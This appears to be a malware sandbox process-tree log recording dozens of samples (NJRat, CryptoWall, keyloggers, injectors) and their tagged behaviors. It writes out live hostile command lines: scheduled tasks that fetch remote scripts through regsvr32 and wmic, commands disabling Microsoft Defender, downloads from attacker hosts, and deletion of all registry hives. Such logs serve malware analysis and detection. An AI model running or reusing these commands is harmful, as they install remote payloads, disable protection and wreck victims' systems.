C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\MUI\LGRemove /tr "regsvr32 /u /s /i:http://cat.dashabi.in/netstat.xsl scrobj.dll" /sc onstart /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" "C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\MUI\LGRemove /tr "regsvr32 /u /s /i:http://cat.dashabi.in/netstat.xsl scrobj.dll" /sc onstart /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\Multimedia\SystemSoundsServer /tr "regsvr32 /u /s /i:http://cat.xiaoshabi.nl/netstat.xsl scrobj.dll" /sc minute /mo 720 /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" "C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\Multimedia\SystemSoundsServer /tr "regsvr32 /u /s /i:http://cat.xiaoshabi.nl/netstat.xsl scrobj.dll" /sc minute /mo 720 /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\NJRat.exeNJRat.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File netstat.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealTimeMonitoring True4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\C2B0C57B-79A4-4F36-B227-A5F37D118168\dismhost.exeC:\Users\Admin\AppData\Local\Temp\C2B0C57B-79A4-4F36-B227-A5F37D118168\dismhost.exe {E84D0203-4D7D-460A-A3AA-B4D7D0DD797D}4⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\MUI\LGRemove /tr "regsvr32 /u /s /i:http://cat.dashabi.in/netstat.xsl scrobj.dll" /sc onstart /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" "C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\MUI\LGRemove /tr "regsvr32 /u /s /i:http://cat.dashabi.in/netstat.xsl scrobj.dll" /sc onstart /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\Multimedia\SystemSoundsServer /tr "regsvr32 /u /s /i:http://cat.xiaoshabi.nl/netstat.xsl scrobj.dll" /sc minute /mo 720 /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" "C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\Multimedia\SystemSoundsServer /tr "regsvr32 /u /s /i:http://cat.xiaoshabi.nl/netstat.xsl scrobj.dll" /sc minute /mo 720 /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\PingInfoView.exePingInfoView.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\a\msf.exemsf.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\MS14-068.exeMS14-068.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\rsreport.exersreport.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\PXray_Cast_Sort.exePXray_Cast_Sort.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\injector.exeinjector.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\a\hell9o.exehell9o.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\regdel.CMD4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg DELETE HKEY_CLASSES_ROOT /f5⤵
- Modifies system executable filetype association
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg DELETE HKEY_CURRENT_USER /f5⤵
-
-
C:\Windows\system32\reg.exereg DELETE HKEY_LOCAL_MACHINE /f5⤵
-
-
C:\Windows\system32\reg.exereg DELETE HKEY_USERS /f5⤵
-
-
C:\Windows\system32\reg.exereg DELETE HKEY_CURRENT_CONFIG /f5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\regdel.CMD4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\system32\a\injectorOld.exeinjectorOld.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File dccuac.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\3e3ev3.exe3e3ev3.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\patcher.exepatcher.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c pHash.bat4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\curl.execurl -o "pHash" "http://144.172.71.105:1338/nova_flow/patcher.exe?hash"5⤵
-
-
-
-
C:\Windows\system32\a\1.exe1.exe3⤵
- Server Software Component: Terminal Services DLL
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\steamerx.exesteamerx.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\XW_Setup.exeXW_Setup.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Keylogger.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\8.exe8.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\requirements.exerequirements.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\bot_x64.exebot_x64.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\bot_x64.exebot_x64.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\file_3dfa6b71eb1f52a6.exefile_3dfa6b71eb1f52a6.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\byk4d5tg4nyo.exebyk4d5tg4nyo.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\a\XClient.exeXClient.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\klr.exeklr.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\natgo.exenatgo.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File debug4.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\file_3a1cc00092af29d0.exefile_3a1cc00092af29d0.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\file_a8b257b458693ac9.exefile_a8b257b458693ac9.exe3⤵
- Executes dropped EXE
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Windows\system32\a\net_launcher.exenet_launcher.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\file_b82f2dba4422534f.exefile_b82f2dba4422534f.exe3⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
C:\Windows\system32\a\vnc.exevnc.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\file_37b904483beaa60e.exefile_37b904483beaa60e.exe3⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"4⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe DetectionRateTesting.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe MaybeWorking.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\system32\a\net_launcher.exenet_launcher.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\01.exe01.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe spx.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\system32\a\file_b584670f7ec2f317.exefile_b584670f7ec2f317.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ConfigureRegistrySettings.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c DebugConfig.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c main.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File kematian_shellcode.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File bsodlogicbomb.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Masquerade-PEB.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c Worm.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-Shellcode-fixed.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File UACBStartup.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c wp.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File PowerSyringe.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File NewAmsiBypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\Axam.a.exeAxam.a.exe3⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\a\Anap.a.exeAnap.a.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 123.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe 2a.hta3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File w937gs27h.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\finale.exefinale.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W7c3c42fb"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe 41a1111.hta3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File OneDoesNotSimplyBypassEntireWinDefender.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File main.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-ReflectivePEInjection.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\Bugsoft.exeBugsoft.exe3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c c:\windows\jk.bat4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\system32\a\Prolin.exeProlin.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File trapapO.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\s.exes.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File reverse.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\keepon.exekeepon.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File meter5555.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\Amus.exeAmus.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pub-bbbdebc2599c4d74b04c5d53e439f7a7.r2.dev/Approved%20Document%23D53LU.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.msi' -UseBasicParsing"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\a\kg.exekg.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\nc64.exenc64.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File inst.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File cheekpieceGAR.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\ScanPort.exeScanPort.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\self-injection.exeself-injection.exe3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\cssgo.execssgo.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\process-injection.exeprocess-injection.exe3⤵
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Zoom.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\Lab01-02.exeLab01-02.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File netstat.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\Vikings.exeVikings.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\Brontok.exeBrontok.exe3⤵
-
-
C:\Windows\system32\a\pkexU0YtxaR3.exepkexU0YtxaR3.exe3⤵
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\1.exe1.exe3⤵
- Server Software Component: Terminal Services DLL
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\CryptoWall.exeCryptoWall.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\system32\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File BrowserThief.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c test_move.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c test_virus.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\a\Fast%20Download.exeFast%20Download.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\rickroll.exerickroll.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c fill_storage_move.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c fill_storage_virus.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File BetterXencrypt.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\keygen.exekeygen.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\uac_bypass.exeuac_bypass.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\alphaTweaks.exealphaTweaks.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\a\hack.exehack.exe3⤵
-
-
C:\Windows\system32\a\test.exetest.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\pclient.exepclient.exe3⤵
-
-
C:\Windows\system32\a\Cloudy.exeCloudy.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File instance.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\MUI\LMRemover /tr "wmic os get /format:'http://soc.xiaojiji.nl/net/inst.xsl'" /sc onstart /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn Microsoft\Windows\Multimedia\SystemEventServicer /tr "wmic os get /format:'http://soc.xiaoshabi.nl/net/inst.xsl'" /sc minute /mo 900 /ru System /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\svchost.exesvchost.exe3⤵
-
-
C:\Windows\system32\a\Fast%20Download.exeFast%20Download.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\XClient.exeXClient.exe3⤵
-
-
C:\Windows\system32\a\downloader.exedownloader.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\EmmetPROD.exeEmmetPROD.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File wp.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\nircmd.exenircmd.exe3⤵
-
-
C:\Windows\system32\a\444.exe444.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\svchost.exesvchost.exe3⤵
-
-
C:\Windows\system32\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Windows\system32\a\beacon.exebeacon.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\access.exeaccess.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\XClient.exeXClient.exe3⤵
-
-
C:\Windows\system32\a\OK_TEST_WORK.exeOK_TEST_WORK.exe3⤵
-
-
C:\Windows\system32\a\XClient.exeXClient.exe3⤵
-
-
C:\Windows\system32\a\install.exeinstall.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\update.exeupdate.exe3⤵
-
-
C:\Windows\system32\a\Konsol.exeKonsol.exe3⤵
-
-
C:\Windows\system32\a\wildfire-test-pe-file.exewildfire-test-pe-file.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe ef.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\system32\a\XClient.exeXClient.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe obr.hta3⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 7188 -ip 71881⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "windowsϵͳÖ÷¶¯·ÀÓù"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "windowsϵͳÖ÷¶¯·ÀÓù"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\windowsϵͳÖ÷¶¯·ÀÓù.exeC:\Windows\system32\windowsϵͳÖ÷¶¯·ÀÓù.exe "c:\windows\system32\240681406.jpg",MainInstall2⤵
-
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\winhost.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\winhost.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\startup_input" "C:\ProgramData\startup_input\3.exe""1⤵
-
C:\ProgramData\startup_input\3.exe"C:\ProgramData\startup_input\3.exe""2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"3⤵
-
-
-
C:\Windows\system32\a\Lab01-02.exeC:\Windows\system32\a\Lab01-02.exe1⤵
-
C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exeC:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k "windows╧╡═│╓≈╢»╖└╙∙"1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVShNotify.exe"1⤵
-
C:\Program Files\Microsoft Office\root\integration\integrator.exeintegrator.exe /R /Extension /Msi PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /Delete /F /tn "Microsoft\Office\Office Feature Updates"2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Create /tn "Microsoft\Office\Office Feature Updates" /XML "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates.xml"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Delete /F /tn "Microsoft\Office\Office Feature Updates Logon"2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Create /tn "Microsoft\Office\Office Feature Updates Logon" /XML "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates Logon.xml"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Delete /F /tn "Microsoft\Office\OfficeTelemetryAgentLogOn2016"2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Create /tn "Microsoft\Office\OfficeTelemetryAgentLogOn2016" /XML "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Delete /F /tn "Microsoft\Office\OfficeTelemetryAgentFallBack2016"2⤵
-
-
